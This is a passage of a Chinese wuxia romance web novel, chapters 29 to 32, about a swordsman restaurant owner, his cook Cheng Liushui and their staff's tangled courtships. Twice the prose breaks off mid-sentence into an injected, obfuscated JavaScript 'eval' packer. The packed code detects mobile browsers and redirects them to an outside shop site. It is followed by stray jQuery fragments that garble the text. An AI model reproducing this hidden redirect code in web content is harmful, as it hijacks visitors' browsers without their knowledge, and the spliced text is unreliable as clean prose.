他们当中有雁荡派大师兄,雪窦派小师妹,还有武夷派后厨二师傅,林林总总的人加起来能有七八十口子,他们本来是组团郊游来的,不曾想还能有幸瞧见这旷世决战,个个都跟打了鸡血般左看看右看看。 “天爷啊,那不会是太白散人吧?”雪窦派小师妹震惊道。 “就是他,上次他来俺们武夷派吃饭,我在后厨见过他。”二师傅连连点头称是。 “那和他对打如此之久的人是谁?武林中不曾听闻过有如此武艺的年轻人啊。”雁荡派大师兄疑惑发问道。 众人皆是一团雾水,直至张清寒寒霜剑法最后一招,万冰齐碎天地震颤,无数冰凌自剑气而来,将太白散人牢牢困死,任凭那真气如何作怪也没什么用,世间万物在这一瞬已然冰封,待到太白散人反应过来之际 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16479184|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一把利刃早已悬在胸口。 “打完了,师叔以后莫要去宫里偷吃的了。”张清寒收回剑锋,抱拳行礼道。 太白散人真气刹那间回体,吹飞了他鬓角的白发,他还来不及感叹江山代有才人出,就就听到了张小子说什么“偷吃”! “张清寒莫要得意,三年就三年,三年之后我们再来比试。”太白散人追着张清寒道。 张清寒并未应承只是脚尖轻点摇摆的树枝,连着几跃便消失在众人的视线中。 而现下张清寒却不如三年那般镇定自若了,他红着张脸不敢去见程六水,只能打了些凉井水洗脸。 “哎呀东家,你脸咋整的,咋跟猴腚一样呢?”胸口碎大石完美收官的乔四方正准备去后厨吃点好吃的,路过后院直接被吓了一跳。 张清寒本来脸就泡在水盆里,听了这话倒好干脆呛了水,“咳咳咳。” “咋还激动咳嗽了?你不会是发烧了吧?”乔四方撑着一张纯良关切的脸问道。 “……我没事,你哪凉快哪待着去。”张清寒勉强从凉井水里抬起脸来,决定自己还是先找个地缝待会儿吧。 后厨正忙活的程六水听到了院子里吵吵闹闹的声音,不放心地扒开一条门缝,只见张清寒红着脸面颊上还滑落着不知名的水滴,发丝也皆被打湿了,三分狼狈三分可怜还有那十成十的凄美。 程六水的小心脏猛地漏了一拍,心口那只小鹿都快撞飞了,不幸的是眼下的她根本分不清是气愤害怕还是心动,她只能推开门道“东家你没事吧?不会是被万家帮帮主打了吧?” “万家帮帮主?赵灵元吗?他打不过东家的。”乔四方啃着馒头道。 “没有打架,我只是来看看加的菜做得如何了?”张清寒强装镇定,却根本不敢看程六水,一看她便想起了方才师兄说的话,可他又控制不住,只要她在他便想一直看着她。 “差不多了,东家进来瞧瞧吧。”程六水招呼着。 灶台上两道菜刚刚做好,一道是宫保虾球,另一道则是鱼香肉丝。 “我想着帮主久在益州,定是爱吃些麻辣鲜香的,但老前辈伤还没好,便做了这两道。这宫保虾球酸甜开胃,既有河虾的鲜美又有花生米的香脆,一勺子吃进嘴里,定是满口留香的。 而鱼香肉丝虽用了红油豆酱翻炒,但我后面加了蔗糖香醋调味,中和了红油的辣却保留了其中醇厚的豆香,搭配肉丝的木耳青椒胡萝卜丝皆是解腻清口的菜。”程六水笑道。 “好。”张清寒目不转睛地看着程六水,澄净的眼睛里全是对做好一餐饭的追求。 “帮主不会再向我催债了吧?我还没想起来怎么做呢。”程六水忽然凑近到张清寒耳边小声询问道。 张清寒耳边如细风缕缕缠绕,他仿佛听见了什么,又什么都没听见,只知道那本该褪去绯红的耳朵尖愈发变本加厉地红了起来。 29. 第 29 章 “嘎嘎嘎。”屋外笼子里的红锦鸡叫得正欢,应和着张清寒扑通扑通的心,他微微低下头,鼻翼尖传来了近在咫尺的茉莉香,手心更是不自觉地出起汗来。 忽而六水抬起头来,露出了小心翼翼的眼神,几分不安与害怕瞬间击垮了张清寒所有的想入非非,他心底柔软得一塌糊涂,除了心疼再没有其它。 “放心吧,以后不会有人找你催债了。”张清寒轻声道。 “真的吗?可我不记得我有多少债主了,万一以后还有张三李四王二麻子怎么办?”程六水胆战心惊道,她捂住自己的小心脏惴惴不安着。 “没关系,我来应付他们就好,毕竟整个江湖也没多少人能打得过我。”张清寒浅浅笑道,手痒地想去摸六水的头却又忍住了。 不曾想程六水摇了摇头道,“打人是不对的,暴力解决不了任何问题,等我想起来怎么做那些火器兵器,我还是要做的,毕竟欠债还钱天经地义,但在此之前东家能帮人家应付一下他们就太好了!” 程六水话锋一转,狗腿讨好模样尽显,脸上堆满了狗狗般的笑容,两只葡萄大的眼睛水灵灵地看着张清寒。 张清寒一时语塞,心想正话反话都让她说了,自己对着她能说什么,只能唯君命是从,“好。” 正在后厨取打酒的杜少仲若有所思地看向两人,眉毛一挑便觉着事情不对,清寒不会是要偷偷摸摸给六水涨薪水吧,不然六水哪能朝他笑得那么欢。 而还在啃馒头的乔四方什么也没看出来,他拿着两个馒头就回了大堂,近来酒楼生意实在是好,他那小算盘又有用武之地了。 乔四方站在柜台后面,手指灵活地拨动算盘珠子,招待客人也是细声细语的,与他方才哐哐胸口碎大石的样子截然不同。 “请问你们这有见过这只鸡吗?”一白衣女子翩然来到柜台前询问道。 乔四方定睛一瞧,一眼就认出了这只五彩斑斓的鸡就是关在后院的红锦鸡,“见过,就在后院。” “太好了,我是这只鸡的主人,特意来寻的。”白衣女子顿时眉开眼笑道,这一笑仿若忽如一夜春风梨花尽开,道不出的清丽多姿。 可惜瞎子点灯白费蜡,乔四方压根不懂何为清丽何为多姿,他听了这话仔细打量起眼前女子道“你是雪窦派的?” 白衣女子被问得一愣,这江陵随便一个酒楼账房就能看出自己的出身背景,果然是山外有山人外有人不容小觑啊。 又观这人高高大大面相周正,浓眉大眼间颇具几分智慧,心下更是谨慎起来答道,“正是。” “那你随我来吧。”乔四方领着白衣女子穿过人声鼎沸的大堂,刚掀开后院的帘子,一道指力惊人的真气便呼啸而来,直直射向了白衣女子,吓得那白衣女子侧身倒下。 关键时刻,乔四方一把抓住摇摇欲坠的白衣女子,硬生生一掌挡在了那女子面前,与真气较上了劲,这真气霸道纯厚没有二十年功夫是练不出来。 幸好乔四方也是个练家子,眨眼的功夫便化解了,真气在虚空中停滞了数秒消散开来。 眼前这一幕异常诡异,诡异到愣头青乔四方都察觉了,赵灵元师承太白散人的混元真气尽出,在这小小的后院里直指张清寒。 而张清寒并没拔出佩剑,反而手里端着两道菜,一道是宫保虾球,一道是鱼香肉丝,这两道菜随着他飞来飞去的躲闪,上上下下地飘荡着,一会儿抛在空中,一会儿差点扔到地上。 活像个练杂耍的,还练得相当不错,这么长时间也没把菜撒了。 “臭小子你把菜给我放下再打!”太白散人气得嘴也不瓢了,眼神一个劲盯着虾球,那叫一个馋啊。 “你让灵元师兄停手,我便停手。”张清寒一跃飞到青瓦上,面不改色心不跳道。 “师父我可以停手了吗?”赵灵元眼巴巴地嚎叫道,本来嘛他根本打不过这个小师弟,师父非要让他替师决斗,小心思谁都看得出来,就是想输掉这场三年之约,找个借口留在酒楼蹭吃蹭喝。 张清寒居高临下地看着太白散人,一下子便将宫保虾球连菜带盘抛到空中,刹那间只听太白散人发出撕心裂肺地哀嚎道“停手!” 只见青瓦之上,一道灵活的虚影驭风而舞,酸甜圆滚的虾球与花生米在空中谱写了一场生离死别,却在最后鬼门关关头,遇到了拯救它们的神,尽数落在了圆盘子里,连一滴汤汁都没撒。 “啪啪啪!”程六水情不自禁地鼓起掌来,这么好的手艺以前怎么没发现呢,明天中午换节目了,胸口碎大石不要了,换成张东家杂耍更有意思。 “老家伙,既如此你我三年之约到此了结,你收拾收拾随灵元师兄走吧,这顿饭就当为你送别了,也是我们酒楼招待不周的赔罪。”张清寒将那两道菜也端到了桌子上道。 “哼,算你小子运气好。”太白散人哪里还管这么多,嘴上放着狠话,实则筷子都快得都要跳舞了,一口大虾仁一口马蹄肉饼的。 “赵灵元?”角落里还倚靠在乔四方身旁的白衣女子出声道。 赵灵元听见这声音,不可置信地转头看去,梦回午夜多少眼泪湿了枕畔,仍换不回伊人书信一封,谁知峰回路转竟在此处得见了她。 “雪意,益州一别也有两载了,不知你好不好?”赵灵元此话一出,程六水赶紧掏出必备的糖炒栗子焦香瓜子,顺便递给她的吃瓜好伙伴杜少仲。 “我自然是好,倒是你消瘦了许多,定是不好好吃饭的缘故。”唐雪意佯怒道。 “你莫要生气,我吃了的。”赵灵元见不得心上人蹙眉,赶忙上前解释道,到了跟前才发觉心上人怎么靠在旁人身上,义愤填膺地瞪了乔四方两眼。 乔四方默默地退下,并且抓了把瓜子准备一起看戏。 身后宽厚的肩膀突然抽离,唐雪意先是一愣心里顿时空落落的,她生来是雪窦派受尽宠爱的小师妹,众人捧着长大,江湖不少儿郎皆是她好友,自然了也包括眼前这位久别重逢的赵帮主。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16483671|184456||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但唐雪意从没有体会过方才的滋味,生死之间,有一人萍水相逢却愿意以身挡住袭击,仁义双全正义凛然,这世间能有如此担当的大丈夫少有了。 那一刻唐雪意心动了,十九年来第一次为男子心动,她想依靠在他宽厚的肩膀上,一同去看那大好河山行侠仗义。 “还不知救命恩人的名字,在下雪窦派唐雪意。”唐雪意转身便看向乔四方问道。 本来正在围观江湖儿女你爱我我不爱你戏码的乔四方,他还在那掰栗子呢,这栗子开口开得别别扭扭的,他怎么也取不出完整的栗子仁,真是生气。 这怎么突然就话锋一转到他身上了,乔四方挤眉弄眼地看向程六水和杜少仲,这两人整整齐齐地在嗑瓜子,而且是一边意味深长地笑,一边嗑。 “咳咳,我叫乔四方,是这酒楼的账房先生,刚才只是举手之劳不必放在心上。”乔四方挠了挠头道。 “怎能不放在心上呢,要是没有你说不定我小命就不保了。”唐雪意也取过一颗板栗,纤细灵巧的手指轻轻一掰便取出了完整的栗子仁,递给了早已不知所措的乔四方。 一旁的赵灵元整个人都要石化了,他被张清寒默默拉到了饭桌前,神智仍是没有缓过来,“怎会如此?怎会如此啊?” “师兄,你俩两情相悦过?”张清寒关上了房门,夹了一筷子鱼香肉丝放到赵灵元的碗里。 “……没有。”赵灵元恹恹道。 “那她可有对不起你过?”张清寒又倒了杯茶给赵灵元。 “……不曾。”赵灵元哭丧着脸道。 “最后一个问题,你向人家姑娘表白过吗?”张清寒问道。 “我不敢。”赵灵元都要哭了。 “那就吃饭吧,你这只是单相思人家姑娘。”说罢张清寒埋头苦吃了起来。 赵灵元被这么一说,本就难过的心更是扭成一股死结,恨不得眼泪拌饭起来,他崩溃地说道,“你不也是单相思吗!” “我是啊,所以咱俩同是天涯沦落人。”张清寒苦笑道,他勉强留住了六水,怎敢轻举妄动更不敢大胆表白,万一六水一去不回头,他又该如何是好? 而程六水压根不知屋里这些可怜男人苦涩的心,她如同一只掉进瓜子堆里的松鼠,吃得脸颊鼓鼓的,看现场版江湖浪漫武侠剧真是太酷了。 “乔大哥,你方才为我挡的那一下,用的是什么武功?我怎么从未见过。”唐雪意在乔四方身后温柔道。 “我自己练的,不知道叫啥。”乔四方腼腆憨笑道。 “自成一派?那你莫不是可以自己成立门派,将这门功夫发扬光大。”唐雪意惊叹于乔四方的无师自通,她是见识过那一掌的威力的,这位乔大哥年纪轻轻就有如此身手,定是个武学奇才。 乔四方嘿嘿笑了两声道,“你的鸡,我要去接着算账去了。”他提着一只扑闪着翅膀挣扎的红锦鸡递给了唐雪意,自己急匆匆地就跑了,收钱收钱没什么比收钱更重要! 30. 第 30 章 临近冬至,酒楼生意愈发好了起来,各个桌上摆着铜锅炭火,烧得人里外都暖烘烘的。除了这暖身十二锅,近来十全酒楼更推出了些独特的奶茶饮子。 盛在竹筒里缕缕暖意便透了出来,捧着喝上一口茶香四溢奶香醇厚,里面还放了弹牙圆滚的芋圆和红豆,江陵小姐们爱极了,纷纷遣人来买,那程六水的小脑袋瓜滴溜溜又转了起来,这不就是外卖吗! 如今街上人人都穿上了夹棉的袄子,手都得藏在袖套里,这般冷还能出门吃饭饮酒的毕竟不多,若是酒楼寻些脚程快的伙计直接送菜上门,估计下月盈余得足足翻上一倍。 想着想着,程六水就自顾自地“咯咯”笑了起来,而一旁的马陶陶就没这样的好心情了,她刚刚送走了今日最后一桌客人,累极了回来映入眼帘的便是令她无比烦躁的一幕。 长身立于柜台前的乔四方仍在忙不迭地算账,这本是日日稀松平常的场景,可今日他身边还有个叽叽喳喳说个不停的雪窦派唐雪意。 自那日乔四方为这唐雪意挡了那么一下,可真是了不得了,唐雪意一口一个“乔大哥”的叫着,还赖在酒楼不走了,说是不出一月雪窦派诸人也要赶赴江陵,届时江陵渠江早已结冰,正是他们雪窦派年轻一辈比试的时候。 雪窦派在江湖上虽不是炙手可热的门派,却也是传承十余代的名门正派,自是有着自己的独门绝技,那便是凤鸣鲤跃鞭,这鞭法极难练成,需得四五岁起的童子功日日挥鞭将那鞭子练得比自个儿的手都听话,指东不敢跑西,而这才是基本功而已。 而这凤鸣鲤跃鞭难就难在一招一式皆是按那圣物红锦鸡飞舞的姿势得来的,红锦鸡一飞能飞出二里地去,这雪窦派的弟子就得一边驾驭轻功一边施展鞭法。 而最为关键的则是“鲤跃”二字,要在寒冬腊月里冰面上凿出个小洞,年轻一派的弟子们要在冰上施展出这一百零八式凤鸣鲤跃鞭法,最后一式细软的鞭子需一招击中冰面上的小洞,将那潜藏在冰河下的锦鲤跃出,方成此鞭法。 唐雪意便是雪窦派前来勘察冰面的,她去岁便成此鞭法,也算得上是年轻一辈中的佼佼者,只不过如今这位佼佼者貌似还有更重要的事,比如跟着乔四方。 “她怎么还不走啊?这都要宵禁了。”马陶陶立着眼睛道。 “不过半柱香肯定是要走的,这几日都是如此。”赵玉雨正在勤快地擦桌子道,唐雪意下榻在城东客栈,离酒楼倒也不算远。 “今日唐女侠点了一酸菜白肉锅,一盘锅包肉,一盘软炸里脊,一盘五彩大拉皮,还有三杯芋芋奶茶,她要能天天来,店里得赚不老少。”程六水从刚才送外卖的幻想中出来了,转头又扎进了另一个发财梦里。 马陶陶恹恹地撇起嘴不说话,没一会儿还不等唐雪意走,她就走了。 “六水,陶陶是不是生气了?”赵玉雨收拾完碗筷轻声问道。 “生气?你是说?”程六水圆溜溜的大眼睛不停地在乔四方和唐雪意身上徘徊,这才反应过来,不能吧能吗? 宵禁后的酒楼十分清净,伙计们一身疲惫地回房去了,东家开开心心地去送别死皮赖脸的太白散人和少男伤怀的赵帮主了。 “咚咚咚。”程六水端着一壶“橙意满满茶”轻轻敲着马陶陶的门,连敲了几下也未见里面有回声,她只以为是马陶陶睡了。 还未转身离去,便听门吱呀一声开了,马陶陶披了一兔毛袄毛茸茸得可爱,依旧撇着嘴道,“还不进来。” “是是是大小姐,小的这就进来。”程六水不厚道地笑了,将手中那温热饮子递给了马陶陶,关上门来暖和得很,炭盆烧得滚烫,里面还有些刚丢进去的信。 程六水本就是个促狭性子,竟蹲下来歪着头细细读了起来,“长兄见字如晤,酒楼此处俱不好,尤其是那姓乔的账房格外惹人嫌……”没想到还真被玉雨说中了,骄矜富家小姐与魁梧憨直杀手的故事,这不是穿越前小说榜单上正流行的题材吗? “哎呀你这人怎么偷看别人的信啊。”马陶陶气得背过身去不说话,显然是受了不小的委屈。 “好啦好啦,我这不是知道错了特地来赔罪吗?你看我新拟的方子,将那橙子去皮剥丝大力捶打一番,加入泡制好的六安瓜皮茶,再用今秋收上来的上好蜂蜜中和茶的苦涩,最后挤上几滴柠檬汁就成了,怎么样要不要尝尝?”程六水凑近了些,靠在马陶陶肩膀上软绵绵说道。 “我才不喝呢。”马陶陶眼神飘忽嘴巴微张,明明抵抗不了如此诱惑,却还嘴硬得很。 “真的吗?我方才做了这些,就想着你见识最多肯定能鉴赏一二,尤其是那柠檬汁还是我从码头搞来的稀罕物,可怜我这一片心意当真是白费了。”程六水装得有模有样,最后还抹了两下眼角,好似还真的哭出来了似的。 结果她刚放下擦拭眼泪的手,就见马陶陶捧着盏子饮了一大口,“嗝真好喝,暖暖的甜甜的。” “这下不生气了吧?”程六水不禁偷笑起来道。 “不生你的气了,但还生别人的气。”马陶陶一边嚼着粒粒爆汁的橙子,一边说着,好似一只贪吃的小白兔。 “谁啊?不会是认真努力算账,还卖力表演胸口碎大石的账房先生吧?”程六水揶揄道。 “我可没看出他哪里努力,天天和别人聊天,这账说不定都算不明白了。”马陶陶大力地拍打着老榆木的桌面,程六水一听都替她手疼。 “是是是,乔四方一点都不努力,而且他这人又傻又笨的不讨人喜欢。”程六水抿着嘴故作刻薄说道。 马陶陶听到这不说话了,想了半天才开口道,“他也没那么差,识文断字还会算数,武功也很不错的。” “哦~~~”程六水扑哧一下笑出了声,此时屋外又传来了敲门声,打开门是低着头的赵玉雨。 “我看陶陶屋里还亮着,怕她晚上生气没吃好,就拿了些糕团来。”赵玉雨递过那 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“因为因为……”马陶陶难得结巴了起来。 “是因为唐小姐吧?”赵玉雨接话道,她一双杏眼微睁,细细瞧人时便是说不出温柔。 马陶陶顿时脸涨红了起来,慌得跟个被人薅住尾巴的兔子一样,恨不得立时上蹿下跳起来,欲开口辩解可直直戳中心事,又能从何处辩解,最后只得一句,“我不是嫉妒她会武功还生得好看,我就是心里不舒服。” “这很正常的,你若是心悦一个人,便会无端生出许许多多独占的心思来。”赵玉雨温和笑道,她舒展开了弯眉,如江南烟雨般朦胧。 这回马陶陶彻底坐不住了,她跳起来咋咋呼呼在屋子里到处乱窜道,“没有心悦没有心悦,你们不要瞎说。” “玉雨我发现你真是观人于微心细如发,这摆明了就是心悦嘛。”程六水故意不理马陶陶,拉着赵玉雨的手夸赞道,话锋接着一转,“那你再看看,乔四方是喜欢唐小姐呢,还是我们陶陶呢?” 这下马陶陶不蹦跶了,老老实实坐好,竖着耳朵听得比谁都认真。 赵玉雨眉间微蹙反复思量道,“我看不出,但试一试总是能知道的。”她俯身在其余两人耳畔窃窃私语,程六水听得连连点头,马陶陶则是羞得头快低到桌子下面了。 三人密谋完已是亥时二刻了,程六水兴致勃勃地从马陶陶房间里出来,身后跟着欲言又止的赵玉雨。 “……六水,我虽然看不出四方喜欢谁,但我来酒楼这些日子看出了些别的。”赵玉雨今夜敞开了心扉,好些话就再也搂不住了。 “看出了什么?快说快说。”程六水闻听又有八卦,开心坏了。 “我只是猜的,东家似乎对你有意。”赵玉雨轻声道。 “???”程六水大脑瞬间一片空白,一顿火花带闪电直接宕机了。 31. 第 31 章 那夜电闪雷鸣,屋外轰隆隆的雷声锤击着大地,屋内程六水窝在小被子里辗转反侧,捂着耳朵闭着眼睛依然控制不住乱跳的心脏,触目可及的黑暗里是她攥紧的手和止不住的叹气。 无数个问号充斥在程六水脑袋里,东家喜欢她?什么是喜欢?她怎么看不出来? 东家要是真喜欢她,那不就是职场大忌——办公室恋情吗?难道她这次穿越是要来一场我和我的霸总东家不得不说得一百八十回爱情故事? 这可不成,程六水上辈子是见识过血淋淋的例子的,当时她初入社会进了一家管吃管住的小饭店,和几个服务员小姐姐住上下铺,八个人住在十平米的房子里。 其中有个比她还小的女孩,来了没几天就和饭店老板的儿子处对象了,满脸的甜蜜白天干活更是卖力。程六水是很为女孩开心,但这个故事的结局并不好,没有什么有情人终成眷属,只有无尽的谩骂与指责,而且那个女孩最后还丢了工作。 而无论是上辈子的程六水还是这辈子的程六水,工作于她而言都是最重要的,不是因为她热爱劳动,仅仅是她真的是有点穷的,如今她这兜里算上这几月的工钱和提成,总共是十两八文钱。 杜尚书当初承诺给她的十金,她还没要到手,这个老狐狸就跑没影了,真是令她声泪俱下。只能不断安慰自己本本分分挣来的钱才最牢靠,这种飞来横财不要也罢,当然了程六水一想到此事,就给杜少仲的饭里加点无伤大雅的佐料,父债子偿天经地义嘛。 要是她没了工作,那就是也没了供吃住的地方,如今江陵一处极小的屋子租来每月也要一两,若是要买那没上百两是下不来的,她哪里有这个钱啊。 程六水就算是再找个做工还能供吃供住的地方,多半是给不到一月二两的,而且她不得不承认张东家是个好东家,事少钱多还没架子,打着灯笼都找不到的工作她是绝不会因为什么情情爱爱丢掉的。 况且那张东家不止是个生意人,这几个月相处下来,程六水早已知晓此人不仅武功高强还是个大官,关键是长得英俊潇洒玉树临风,这样的人在现代就是程六水八辈子都遇不到,更甭提这样的人会喜欢她,再说了若是真的喜欢她为何不说与她听呢? 程六水思及此处觉着甚有道理,在被子里眯着眼睛连连点头,玉雨肯定是老马失蹄看错了,沉甸甸的雨滴拍打在窗外,程六水终于昏昏沉沉地睡着了,这回嘴角是上扬的。 张清寒的卧房在酒楼的二楼,他这一夜倒是没睡好做了许多梦,梦里程六水比往日乖巧很多,会温柔地叫他清寒。 “清寒,你可以过来一下吗?”夕阳下的程六水格外婉约娇俏,笑盈盈的脸上闪过灵动的狡黠。 张清寒不由自主地走了过去,他来到程六水的面前没忍住摸了摸她垂落在脸颊上的细发,程六水莞尔一笑好似蜜糖。 “轰隆隆”一声,大地仿佛在震颤,张清寒以为是地动,想去抓住程六水的手快跑,可他没有抓到。只听耳边传来程六水冰冷的声音,“你称称,够不够称?” 张清寒这才发觉自己被关进了巨大的铁笼子里,任凭他怎么捶打都固若金汤牢不可破,半人高的车轮将这笼子和他运向远方。 程六水扛着两麻袋金条,笑得异常灿烂道,“清寒~再见哦~” “不!!!”张清寒浑身冷汗地吓醒了,他梦见自己被程六水卖了,更可悲的是他真的觉得,自己和两麻袋金条比起来,程六水真的会选择金条。 翌日雨过天晴,一只扑棱着肥翅膀的灰鸽子忽闪忽闪飞走了,承载着张清寒深沉的忧伤。 站在柜台后的乔四方从密密麻麻账本中一抬头就看见了一张极为幽怨的脸,可给他吓了一跳,“东家,你没事吧?” 张清寒愣了两下才回过神,面如菜色道“我没事。” “那我能问你个事吗?”乔四方悄摸摸凑近小声道。 “何事?” “唐女侠昨日同我说,让我加入他们雪窦派,还说凭我这武功见识,不出五年就能是掌门候选人。”乔四方皱眉道。 张清寒这才饶有兴致地挑了挑眉,“有意思她这是要从我这挖人啊,不过她说错了一点。单论武功,雪窦派现任掌门人早已不是你的对手了,又何须五年?” “不是五年的事,是我觉着唐女侠这人有点怪。”乔四方挠了挠头欲言又止道。 “哪里怪?” “她的眼神怪,你看你看。”乔四方大眼珠子斜着朝着一个方向。 张清寒顺着一瞧,那唐雪意又点了一大桌子菜,这回点的是粥底火锅最是滋补养胃,煮得软糯香甜的米粒在乳白的粥水里翻滚着,这时正是下蛤蜊海蛎子的好时候,将这海物的鲜美尽数煮进锅底里,再涮上几只肥美个大的鲜虾,虾子由青转红连粥底跟着变得金黄可口。 除了这些,那桌上还有薄如宣纸的鲈鱼片,鲜切的嫩牛肉还有一大盘水灵灵的小青菜,自然了也少不了山里雨后长出来的菌子。 “她点的是挺多的,这可是老客户了等会儿记得打折。”张清寒难得厚道地说道。 “我说的不是菜,是眼神!东家你快看,是不是像是狐狸见了鸡崽子一样。”乔四方往后缩了缩道。 张清寒定睛又一看,那唐雪意正含情羞涩地望向他身后的乔四方,似看似不看还真是犹抱琵琶半遮面,颇有情致,“乔子啊,你说是她眼神不好,还是你眼神不好啊?” 乔四方瑟缩了两下,抿着嘴挎着脸道,“东家你莫要开我玩笑了,我怀疑她说什么要让我当雪窦派掌门候选人的话,都是骗我的,定有旁的目的。” “那你说说什么目的?”张清寒听这话,点了点头这小子还是孺子可教的嘛。 “她要害我,要把我拐卖了!”乔四方大大的身子缩到了柜台的角落里,眼珠子乱转道。 “……你,你这话又是怎么个说法?”张清寒本就在隐隐作痛的脑 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乔四方正好与马陶陶对视上了,他对着吹胡子瞪眼睛的马陶陶,咧开嘴傻呵呵大笑,这一笑马陶陶还真不说话了,红着脸撇着嘴去招待客人了。 张清寒在一旁目睹这一切,心下感慨万千,还真是一个猴一个拴法。 唐雪意也不是个傻子,见她心心念念的乔四方对着个姑娘笑得如此憨直,哪还能不明白是怎么回事,要不是雪窦派自小规矩教得好,她都能直接摔了筷子。气得她是吃也吃不下,不吃又觉着这么一桌子美食当真是浪费。 正当此时,趴在她身边的红锦鸡忽而动了起来,拱着鲜黄的鸡冠子摇头晃脑,还兴奋地扑腾了两下翅膀。 只见一剑眉星目身量高挑的白衣男子走进了酒楼,腰间一把长鞭真可谓是器宇轩昂,细细瞧来眉宇间竟还有几分书卷气,只不过手里还牵着另一只乖巧的红锦鸡。 “客官您里面请!”马陶陶忙得脚不沾地,头都没太抬,大声吆喝着,嗓子都有些哑了还咳嗽了两声。 “不忙,我是来找人的。”白衣男子温柔笑道,接着又开口道,“冬日时节干燥,姑娘虽忙碌也还要小心喉咙,莫要伤了肺气,我这正好带了川贝枇杷丸,若是不嫌弃可拿去尽用了。” 马陶陶这才正眼看了看说话的男人,眉眼带笑道,“多谢客官美意,但店里已经熬了冰糖梨汤,我等下喝了便好。” “陶陶姑娘不必客气,这是我师兄裴然之,他颇善医术这丸药吃了准没错。”唐雪意立马迎了上去,喜笑颜开地引见了起来。 “既是如此,那便着实谢过裴大侠了。”马陶陶接过那玉瓶道。 “不必客气,陶陶姑娘唤我然之就好。”裴然之拱手一礼。 而柜台上,乔四方用了好几年的算盘被悄无声息地捏碎了,那炖汤的梨是他特地起早去集市挑的,定是要庐州砀山梨润肺止咳最好,一点不比这白孔雀的川贝枇杷丸差! 32. 第 32 章 裴然之大方落座,周遭纷杂食客喧闹声此起彼伏,家长里短江湖传闻说什么的都有,而他仿佛充耳不闻,神情专注地注视着眼前咕噜咕噜的粥火锅,不停翻滚的米粒愈发软烂入味,凑近一闻鲜得能掉了眉毛。 唐雪意端坐在一旁,再不敢如往常那般没规矩,甚至都不偷瞄乔四方了,她这位大师兄待人接物如沐春风,满门上下风评极佳,可就一样规矩大得很,她往日里没少被训。 “唐师妹,倒是会找地方,这里菜确实不错。”裴然之一筷子夹起了刚烫好的薄肉片,小碗里蘸料简单只有清酱蒜蓉,再来点葱花香菜就齐了,一入口那肉片嫩如豆腐弹似蛋白,满齿皆是溢满的肉香,更绝是薄薄一片里还有着大米的妥帖落胃,一扫连日赶路的风尘仆仆,人瞬间安稳了下来。 “那是那是,我这不是为师兄师姐们踩好点嘛。”唐雪意笑出了两个小小的梨涡,雾蒙蒙的桃花眼弯成了月牙。 裴然之未置可否,再涮了半盘子青菜,盛了满满一碗粥,此时的粥早已将蛤蜊大虾的鲜美,青菜的清香还有那嫩肉片的肉香汇于此中,撒上些许盐巴胡椒粉,冬日里吃来是暖胃暖心。 “吃吧。”裴然之端到唐雪意面前道。 “多谢师兄!”唐雪意此时就算被气得没胃口,也不敢不吃啊,尝了第一口便觉出其中滋味来了,三下五除二没一会儿就全吃完了,开开心心地自己盛起第二碗来。 “我来这一路听了不少消息,听说师妹要为师父收徒了?”裴然之嘴角含笑,轻饮香茗道。 唐雪意刚端上粥碗的手不自觉地抖了两下,下意识心虚地回头看向乔四方,只听耳边声音响起,“你出来历练数月,仍是未有长进,做事毛躁识人不清,真该在后山禁闭一年半载的。” “师兄我没有识人不清,他救了我性命的,是个武功高强的好人。”唐雪意毕竟年少意气,自己被责骂也就算了,却容不得旁人说半点心上人的不好。 裴然之依旧弯起唇角笑着,眼眸中则蕴含着不易察觉的怒气,“我没说他不是好人,我只说你是落花有意流水无情。” 唐雪意被戳破了要害,梗着脖子嘴硬道,“师兄刚来怎知我们的事,我与乔大哥早已情投意合心悦彼此了。” 这话不偏不倚正好落在了在旁桌上菜的马陶陶耳中,马陶陶站都站不稳了,脑袋仿佛灌铅般沉重,心中一腔怒火无处发泄,气极攻心直直两眼一黑晕了过去。 “陶陶!”乔四方吓得赶忙跑了过来,可不巧就差一步,裴然之宽厚的臂膀接住了不断滑落的马陶陶。 此情此景宛如画中人曲中戏,市井闹市里身世清白的武林少侠出手相救,身量纤纤的少女如脆弱的蝶翼般轻颤,般配得令人心惊。 “陶陶的房间在后院。”素来不声不响的赵玉雨开口道,她赶忙带路。 裴然之不敢耽误,一路抱着马陶陶,轻放她于床榻之上,又搭脉看诊起来。这下紧皱的眉头才逐渐放缓,眼神中略带疑惑,抬头一看好家伙,这怎么小小的屋子里有这么多人。 紧跟着他身旁的是个身形魁梧的男人,正是他师妹的心上人乔大哥,乔四方脸上虽有不悦却还是焦急地问道,“裴少侠,陶陶这是怎么了?” 越过这位好似要吃了自己的乔四方,就是他那泪眼婆娑的师妹,裴然之不自觉地摇了摇头,心中暗想为了个男人哭,哭哭哭福气早晚被你哭没了。 “你摇头什么意思?陶陶到底怎么了?”乔四方急得如同热锅上的蚂蚁,一把直接薅起了裴然之的衣领子,晃得裴然之眼冒金星,差点也要躺下。 “没没没,没怎么,救命啊!”衣冠楚楚的裴然之就这么几下,头发散了衣带松了,这人哪里是个情哥哥,明明就是个手里带血的煞星,脑子里只有一个字,跑! “四方莫急,别把大夫吓晕了。”张清寒一只手看似轻轻搭在乔四方的肩膀上,却压得乔四方一下就坐到了板凳上。 